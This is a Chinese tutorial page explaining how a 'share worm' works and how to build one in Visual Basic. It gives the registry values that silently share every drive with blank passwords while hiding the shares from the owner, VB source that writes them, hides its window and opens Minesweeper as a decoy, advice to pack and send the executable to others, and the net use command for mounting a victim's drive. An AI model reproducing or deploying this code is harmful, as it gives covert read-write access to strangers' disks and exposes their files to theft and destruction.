明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

共享蠕虫的原理及用VB编程的完成方法

[摘要]作者:香水百合 VB是一个非常"美好"的编程语言,至少我是这么认为的。原因有二:其一是,VB的英文名可以解释为Very Beautiful,这是V...
作者:香水百合   
    
     
     VB是一个非常"美好"的编程语言,至少我是这么认为的。原因有二:其一是,VB的英文名可以解释为Very Beautiful,这是VB的"美";其二是,"好"字的五笔输入码是什么?"VB"是也,这就是我所谓的VB的"好"。嘻嘻,这样的解释够Cool吧!
     但事物都是有两面性的,这么美的语言在有些人手里却成了搞"破坏"的工具,被用来编写病毒.最近网络上的各种病毒层出不穷,其中有相当一部分就是VB的杰作.比较有代表性的是共享蠕虫病毒.今天我们就来让它现出原形!
     所谓的共享蠕虫的病毒(network.vbs),它体积不但小巧(只有1K), 而且很具有破坏性!只要被这个病毒感染了的机器,所有的硬盘就会被完全共享,并且可以在局域网和因特网中传播。下面我们先谈谈它的原理。
     我们知道,把一个目录设置为共享的时候,如果在共享名后面加上$ 符号,那么这个目录将变成一个隐含的共享目录,即对方的机器上看不见这个共享目录。但是如果对方知道共享目录名,仍然是可以访问的,只要在这个目录后面加上$ 符号就可以了。
     虽然对方看不见这个共享目录,但是自己是可以看见的。这样也是不行的,虽然我们已经加上$ 符号,但是我们仍然可以发现这个共享目录的图标下面已经加上了一个小手,表示这个目录已经被设置为共享。这样使用者就会知道机器被人改动过了。而共享蠕虫的高明之处就在于:不光是对方看不见这个共享目录,而且连自己也是看不见这个共享目录的,这样就可以做到神不知,鬼不觉了。当你把这个程序发过对方,对方执行完以后,对方的机器就会被全部被共享,而对方却不知道。
     做到对方看不见很容易,只要在共享目录名后面加上$ 符就可以了;而共享蠕虫程序是怎么做到连自己也看不出来的呢?其实道理说出来也是很简单的,秘密就在注册表中。请看下面的例子:
     1.运行Regedit命令,打开注册表;
     2.找到下面的子键
     HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManC$
     3.在屏幕的右边,你可以看见下面的内容;
     Flags 0x00000302(770)
     Parm1enc (长度为零的二进制值)
     Parm2enc (长度为零的二进制值)
     Path "C:"
     Remark "Remark By Scent Lily"
     Type 0x00000000(0)
     关键的地方就是Flag这个参数,它的键值决定了共享目录的类型。我们把Flags的值设为302(16进制)就可以了。
     知道原理以后,用VB编制共享蠕虫的方法就很简单了,大致的步骤如下:
     1.用GetDriveType函数检测机器从C盘开始的所有驱动器。软驱我想就不必共享了,没有什么实际意义的!
     2.将找到的每一个驱动器后面加上$ 符作为一个子键(C$,D$,E$),写入注册表的LanMan子键下;
     3.将每一个子键的"Flags"值设置为302(16进制);
     4.将"Path"设置成相应的路径;如果愿意,你可以对"Remark"进行设置,比如,"某某到此一游了!",这样就OK了;
     4.如果你还想让程序更隐蔽一点,你可以在程序运行的时候,先执行一个程序,比如扫雷、空当接龙,或者找开记事本、资源管理器等等。这样,对方就更不容易识破了!
     下面讲一下程序的关键部分
     Option Explicit
     Dim WinDir As String
     Const CommonPath = "SoftWareMicrosoftWindowsCurrentVersionNetworkLanMan"
     
     Private Sub Form_Load()
     Me.Hide
     Dim buff As String, DriveNo As Integer, Result As Integer, Game
     For DriveNo = 0 To 25 注释:遍历所有的26个驱动器
     buff = Chr$(65 + DriveNo) + ":" 注释:取驱动器符
     Result = GetDriveType(buff) 注释:调用API函数来获得驱动器的类型
     If Result = 3 Xor Result = 5 Then
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 注释:写入共享的类型,这就是程序的关键所在
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 注释:写入共享驱动器的路径,就是"C:","D:"等等
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 注释:写入共享目录的只读访问密码;
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 注释:写入该共享目录的完全访问密码;;
     setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Remark", REG_SZ, "Remark by scent lily!", 21 注释:写入一些注释信息,比如“香水百合到此一游”
     End If
     Next DriveNo
     GetWinDir 注释:获得windows目录的路径
     If Dir(WinDir & "winmine.exe") <> "" Then 注释:如果有扫雷游戏的话就在前台执行它
     Game = Shell(WinDir & "WINMINE.EXE", vbMaximizedFocus)
     Else
     注释:因为扫雷游戏不是必装的,可能有的机器没有安装,但是资源管理器是肯定有的。所以,如果没有扫雷游戏 就启动一个资源管理器
     Game = Shell(WinDir & "explorer", vbMaximizedFocus)
     End If
     Unload Me
     End Sub
     
     Public Sub GetWinDir() 注释:获得windows所在目录的子程序
     Dim Length As Long
     WinDir = String(MAX_PATH, 0)
     Length = GetWindowsDirectory(WinDir, MAX_PATH)
     WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
     End Sub
     完整的程序大家可以去网上下载(香水百合园http://scentlily.y365.com),其中的可执行文件是用VB6.0编译的,建议再用VB5.0重新编译一下。这样你只需要将这一个可执行文件分发给别人就OK了,不需要其它的任何DLL文件,因为Win98和Win2000已经自带VB5.0的DLL文件啦。这样就做成了一个绿色软件。你再用UPX这个可执行文件压缩工具压缩一下,就只有6K了,感觉很爽吧!
     有很多朋友来信问我,即然对方和自己都看不见这个共享目录,那到底怎么使用呢?其实方法也很简单的,因为在网上邻居里是看不见的,所以我们需要到DOS方式下去使用。命令如下:
     语法:net use <映射的盘符> \对方的IPC$
     例如:net use x: \192.168.0.2D$
     执行完这个命令以后,就将对方(192.168.0.2)的D盘映射成自己的X盘了。你就可以象使用C盘D盘那样使用X盘了,当你切换到X盘后,对X盘所进行的操作,实际上就是对方的D盘进行操作。
     因为现在的网友都已经很少愿意接收可执行文件了,所以网上流行的共享蠕虫程序是VBS格式的脚步语言。不过原理是一样的,只是实现的方法不一样罢了!
     怎么样!在别人机器上跳舞的感觉如何?一句话,"一切尽在掌握!",知道香水百合为什么用爱立信手机了吧!:)不过,还是要提醒你一句,看看就可以了,开开玩笑也没问题,不过千万不要搞破坏!因为VB是最"美好"的语言,不要破坏了她的美好形象噢!